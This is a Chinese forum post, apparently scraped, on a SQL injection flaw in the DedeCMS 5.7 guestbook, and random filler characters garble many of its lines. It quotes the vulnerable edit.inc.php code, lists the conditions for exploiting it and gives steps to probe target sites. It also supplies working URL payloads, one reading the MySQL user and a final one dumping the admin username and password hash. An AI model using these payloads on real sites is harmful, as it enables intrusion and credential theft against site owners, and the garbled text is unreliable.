影响版本为5.7) T5 X/ _* K9 ~% R
: P, ^9 d) s% \/ ~8 c" C0 a
漏洞文件edit.inc.php具体代码:9 K% ~/ w' V H) l2 c6 }# l
% N* j6 j _( a# E3 u- w4 r# r" Y< ?php
$ ^; g5 P- B C) a) p, @
2 H N2 F- D, p$ g3 pif(!defined('DEDEINC')) exit('Request Error!'); 3 h5 Z! M7 j+ v; ^2 i6 e
3 P" w; X) c, j3 Q& U
0 \6 r; T* [/ f
' k! G4 F, a P5 [" M% rif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
% t) ]9 M/ V0 B3 ?% ^
" Q2 t- ]" p# u1 Oelse $GUEST_BOOK_POS = "guestbook.php"; 1 d$ B3 ?, J/ w1 _
1 [1 N: n0 `" {! z2 h8 G7 o# b % h7 Q' N0 a, ?
) ^! C; f0 C2 v2 [" `$id = intval($id); " e; ?& q: B: O+ A' Y
# W( Z7 d( l* H$ s% O* }9 K Q
if(empty($job)) $job='view';
, t- b+ l0 r& R0 X2 n. J$ G) I8 y7 m- F( r( F. O% v* t' ]; p1 m
R8 W/ C" ?/ K$ U$ d
9 |. r. e7 T4 o; \2 ~% Gif($job=='del' && $g_isadmin)
% y1 Q, Q6 @: Z* p1 x0 j+ U' Z' _% o( A3 `1 Q
{ ) m) e4 @4 i$ h" r4 N q: K$ f# C& d
4 Y% d* }& O& }" x7 B$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
5 J+ u! Z8 j/ x! a- f5 B3 J9 w6 C |2 N* J$ g
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
0 G2 z* Y! c( m/ a+ I% _# Y$ u6 b1 b/ f! W) G0 q! M
exit();
/ I5 ~# k8 U- J. B' n% n' t# w6 V# D+ |& Y: M/ g8 b
} 3 w: t! B( T6 C
2 p: ~9 L$ s3 ?$ u) ]3 K/ h1 \4 Delse if($job=='check' && $g_isadmin)
3 M' Z& q" |5 o& h
4 Z9 N6 L5 P: L7 m) y. V' A{
% \7 x# J) x) D4 J, o5 q. ^/ N! k: G8 _
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 8 U9 A A9 [5 G. n' y# V
, y8 j2 _- Z$ L% \1 F0 q, vShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
$ c6 V8 e* M# P, K4 ^9 ]4 \2 d# w' M+ N. {, t
exit();
& ]0 K. x! q3 B1 |/ l) O+ m% n% I3 a8 J7 |; T& k8 f/ b
}
# s1 ?; Z' e6 b. U, Z4 @5 c% L- T! X' _) l
else if($job=='editok') 2 E% Z1 }+ z9 A- N! k( e+ j9 z
~3 _+ [! @* M% Y7 Q1 a$ T{
" Y7 |- b. s ?
$ J6 Q3 f' b, t+ C- U$remsg = trim($remsg);
: E% _4 z- J0 j# K* n+ J: ?5 n! d8 C; b1 E; a/ P9 e6 x% \
if($remsg!='')
! s/ O# c4 [" X. i- _3 r; z- r1 ?" E) X, i- I$ \; A5 }
{ 5 W- n+ U% m" B6 ~3 f9 D2 M
9 j9 S8 H9 @3 Z+ K( B
//管理员回复不过滤HTML By:Errorera blog:errs.cc
! \- K2 q0 N) [' k# w5 j! J* a% G8 _3 `/ `9 c
if($g_isadmin)
* q+ X9 a6 @0 w6 E$ m# W( M t& C$ h2 B1 S8 k) v2 I' Q
{ 2 g+ ~+ Q2 A# n/ Z1 d: B4 t8 R) y
& k$ v2 n( |; ~; r$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; : k2 C$ S7 k* P. `" k; G2 w
. V$ E( e* s# ~% c+ n6 u+ E3 t5 M& e
//$remsg <br /><font color=red>管理员回复:</font> } 1 F. }* K: W9 R/ V5 U5 g4 G0 C7 s
1 P6 H8 y8 f _9 W3 Lelse + c% m; a+ u0 k' m; u* }
6 i* j% g6 l7 [- k, t4 Y/ s6 M
{
( T$ d' t6 U; m3 R. m, E6 ^$ Q5 E7 O; c/ m J* s3 _: N
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
% P2 s- V! a& E/ s# I1 h" q3 V- f' B$ u' s/ \# N+ A
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # v5 H1 Y E: h' t) M) J" Y5 C
8 F6 g+ n: ? q2 Z+ [
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
& [) v! x2 |# M# o
3 s7 k0 \- U- a/ G! S% ~ ^, `$msg = $oldmsg.$remsg;
+ I) t6 h5 g* S- f' Q3 ~
& g* P* `9 w4 |$ w% p- A- t}
0 X+ ~4 c3 s5 i* R+ k2 o
- r' M( d g b, Q- Q7 \} 6 l2 R( Q1 ]; c$ B
( r* H: t X, V+ g# h- ] x- k//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 0 v" E$ L) K3 V i z4 V* c
: m( N3 z& u6 Z: E8 r
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); * W! j5 C, }6 ?6 X `
3 J* w% J+ N* {+ L# cShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
" L* Z: ?- U4 ~! _" i4 [7 m( n, d% v1 O* C8 S' T( l7 i3 P
exit();
- h7 _ d0 F) Z
1 b& U& {' B7 h, t} 8 [4 V Z) G" M0 z E3 W( H
( e7 G, F' v0 N: {& ]//home:www.errs.cc
' L! M0 s: N1 y- A8 P1 e* k: g
if($g_isadmin) , ?0 X& ?! Y0 ] ^6 N+ ^9 J' e3 t
. U2 O H% l( L. v4 @7 \
{ 7 F5 h& L" E: B1 d2 r
2 }7 N: ]8 Y4 q3 I1 x, b$ r( f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); " u9 f& P' M5 Y
\! q) s6 @ t. B6 `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
; m& _1 V6 W; }5 K' Z% t1 w7 g% `. \- |( @) s' j8 h7 |
}
# Q1 B0 @% W! g1 m
7 k4 b" ~ y) Eelse ( b3 W9 Z, }3 a" X1 o7 |" i
/ h2 v, _1 O7 U( P: m0 D{ ( E3 x7 O! o6 n& Z' z" p
% h9 L4 {* I- H4 B1 y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
, H" v, T) G& s6 l9 K) M0 x; k' D& M8 |9 T
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
6 ~* S* O! w: D
' [! X6 y/ _/ V} 漏洞成功需要条件:% g( C9 e) a( w! f& a# n
1. php magic_quotes_gpc=off; `: }2 O1 f! u6 D: ?
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! h4 I, ?- w9 H0 I7 Q, P5 h
% B% ?& \! c0 {
怎么判断是否存在漏洞:9 ^! ?% v [5 w" }
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
, e- R3 e; o. O' t1 W: I/ s然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 a6 I, Z' |9 x5 P d9 ^. P N4 e2 }访问:
" r7 R8 j& K% D+ l
1 u) h# B4 F% m0 I' Q5 J& z7 {7 Fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 W8 R* @5 l. S
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
8 l3 Y8 R& d" X' b/ u* h$ R
* x6 u' ~) H) S; W2 o ~( W: g0 f; F# ^: r9 M( R+ V" f" g. H
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 u$ b# D4 s+ h# j4 l5 P o如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。% K7 x+ d; ~& `: P0 P8 _
那么再次访问
# G) j; ?( d. F3 ?, b0 Q! o0 G t. G/ D8 K3 x& u
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
; j6 O, U2 ~+ | x% L& e8 y! i, t" S0 G8 b
大概利用就是这样,大家有兴趣的多研究下!!5 P. J5 H8 M4 }" ^# X" `
' O8 f! s7 Q$ Y$ L! p! L4 v最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. L8 _" F# j$ ]( O3 K& {
2 o5 r3 {) s* h) w2 pview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |